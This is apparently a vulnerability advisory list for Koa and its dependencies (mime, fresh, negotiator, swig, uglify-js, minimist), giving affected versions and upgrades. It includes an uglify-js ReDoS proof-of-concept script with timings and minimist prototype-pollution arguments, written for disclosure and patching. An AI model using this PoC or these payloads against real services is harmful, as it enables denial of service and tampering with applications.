Version Details and Security Vulnerabilities

Summary

Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact

This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

Summary

In koa < 2.16.1 and < 3.0.0-alpha.5, passing untrusted user input to ctx.redirect() even after sanitizing it, may execute javascript code on the user who use the app.

Patches

This issue is patched in 2.16.1 and 3.0.0-alpha.5.

PoC

Coming soon...

Impact

1. Redirect user to another phishing site
2. Make request to another endpoint of the application based on user's cookie
3. Steal user's cookie

Affected versions of mime are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.

Recommendation

Update to version 2.0.3 or later.

Affected versions of fresh are vulnerable to regular expression denial of service when parsing specially crafted user input.

Recommendation

Update to version 0.5.2 or later.

Affected versions of negotiator are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted Accept-Language header value.

Recommendation

Update to version 0.6.1 or later.

Directory traversal vulnerability in swig-templates thru 2.0.4 and swig thru 1.4.2, allows attackers to read arbitrary files via the include or extends tags.

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).